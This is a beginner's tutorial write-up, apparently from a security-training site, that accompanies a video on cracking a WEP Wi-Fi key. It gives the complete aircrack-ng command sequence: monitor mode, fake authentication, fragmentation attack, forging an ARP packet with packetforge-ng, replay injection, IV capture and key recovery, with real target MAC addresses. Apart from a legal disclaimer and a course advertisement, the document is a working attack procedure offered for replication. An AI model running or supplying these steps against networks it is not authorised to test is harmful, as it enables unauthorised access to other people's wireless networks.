VIDEO: "Hacking - Fragment-Packetforge-WEP - For Beginners"
LINK: http://www.youtube.com/watch?v=QYtMfNj8jsY
PROGRAMS USED: Backtrack 5 KDE 32bit / aircrack-ng suite / macchanger
THIS DOCUMENT WRITTEN BY: R4V3N7A7700

DISCLAIMER:
IT IS ILLEGAL CRACK, HACK, PENETRATION TEST, AND/OR BREAK INTO SYSTEMS OR DEVICES WHICH DO NOT BELONG TO YOU IN MOST COUNTRIES. PLEASE CHECK YOUR LOCAL LAWS AND REGULATIONS BEFORE ATTEMPTING ANY OF METHODS DISCUSSED OR DEMONSTRATED IN THIS DOCUMENT. TOP-HAT-SEC DOES NOT CONDONE ILLEGAL METHODS OF HACKING OR TESTING. PLEASE DO NOT BREAK THE LAW. BY READING THIS DOCUMENT FURTHER, TOP-HAT-SEC IS NOT RESPONSIBLE FOR THE READERS ACTIONS OR DECISIONS WHICH MAY BE CONSIDERED ILLEGAL.

This write up is an explanation of the video titled above. I will break down all of the commands used which were specific to my computer and my access point. If you are attempting to replicate this attack, please note that you will be unsuccessful if you type in the incorrect MAC and/or AP information. You must enter in specific information which is relevant for your situation, not mine. Please also note that there are many variations of this attack, this is just one example. If you would like to learn more, please inquire about my CWSP course. admin@top-hat-sec.com .

I start this attack by opening a console (console 1).

I type the command " **airmon-ng** "
This will display current wireless adapters which are compatible with linux. If you get no results, this means that your adapter or card is probably not compatible with linux or is disconnected. My airmon-ng results show that I have 1 interface which is currently "wlan0".

I type the command " **airmon-ng start wlan0** " (If your interface is not called wlan0, then you want to type in the appropriate interface name.) This will put my wireless interface into monitor mode on "mon0". Please also note that your interface may be placed into a different name than "mon0".

I type the command " **clear** " (This is optional, it just cleans up the screen.)

I now am going to open my text editor called "kate". To do this, I simply navigate by:" **K Menu or Start Menu > Utilities > Kate** "

I then go back to Console 1 and type in " **ifconfig mon0 down** ". This normal is done when you want to put your interface in an inactive state. For example, to change your MAC address then you would do this first. I just do it out of habit in this video.

I then type the command " **macchanger -s mon0** ". This will display the current MAC address of the interface mon0.

I then copy and paste the information into Kate.

I type the command " **clear** ".

I now begin to scan wireless networks by typing " **airodump-ng mon0** ". The scan should begin. Wait for airodump to scan the available networks until you find the one you want.

I then hold down the" **control (CTRL)** " key and press" **C** " to stop the scan.

I then highlight the target information and copy and paste it into Kate.

I then type the command " **airodump-ng -c 11 --bssid 00:14:BF:2A:6D:D0 mon0** ". This will begin scanning the target information on channel 11 and the bssid that I specified. I keep it running.

I then open another Console (Console 2)

I then type the command " **aireplay-ng -1 30 -a 00:14:BF:2A:6D:D0 mon0** ". This will attempt to authenticate with the target access point every 30 seconds. I keep it running.

I then open up another Console (Console 3)

I then type the command " **aireplay-ng -5 -b 00:14:BF:2A:6D:D0 mon0** ". This will attempt the fragment attack on the specified target. This will attempt to read packets and display a suitable packet for you to choose.

Once a packet is displayed, it will display " Use this packet ? ". I press " **y** ". If you choose " n " for no, then it will go to the next suitable packet. If it is successful, it will begin to save packet information into 2 different files, a " .cap " file and a " .xor " file. It will also display the following " Now you can build a packet with packetforge-ng out of that 1500 bytes keystream "

I then copy and paste the .xor file information into kate " **fragment-0605-172018.xor** "

I return back to the same Console (Console 3).

I type the command " **packetforge-ng -0 -a 00:14:BF:2A:6D:D0 -h 70:f1:a1:64:8a:bc -k 255.255.255.255 -l 255.255.255.255 -y fragment-0605-172018.xor -w mypacket** ". This will essentially create or "forge" an ARP packet. I named my file " mypacket ". You can name yours whatever you want. After you press the enter key you should get something like this. " wrote packet to: mypacket ".

I Return back to Console 1

I then hold down the" **control (CTRL)** " key and press" **C** " to stop the scan.

I then type the command " **airodump-ng -c 11 -w WEPCRACK --bssid 00:14:BF:2A:6D:D0 --ivs mon0** ". This will begin collecting the data which we need for our successful WEP key crack. I leave it running.

I return to Console 3.

I type the command " **aireplay-ng -2 -r mypacket mon0** " This specifies that I want to use the packet that we created earlier using packetforge-ng for our attack. If done correctly, you should receive the following " use this packet? ". Press the " **y** " key and then enter. Data shown in Console 1 should begin to climb very quickly if successful.

I now open the 4th and final Console.

I then type the following command " **aircrack-ng WEPCRACK-01.ivs** ". aircrack-ng will attempt to crack the WEP key. I was able to get a successful crack in 2 minutes once the actual attack began.

CLOSING COMMENTS:

This is one of my most favorite attacks and it certainly has its place in certain situations. It takes a lot more prep work than a simple arp-replay attack. If you really want to understand these attacks, how and why they work, then please inquire about the CWSP course. When using the aircrack-ng suite, not all of the attacks will work all the time. There are several methods of attack for different situations. This attack has worked for me but It may not work for everyone else. There are a few variables that have to be true in order for certain attacks to work or they will fail. If you have any questions regarding this write-up please shoot me an email admin@top-hat-sec.com . You can also help support us by becoming an official Top-Hat-Sec member. Thanks everyone.

- R4V3N7A770O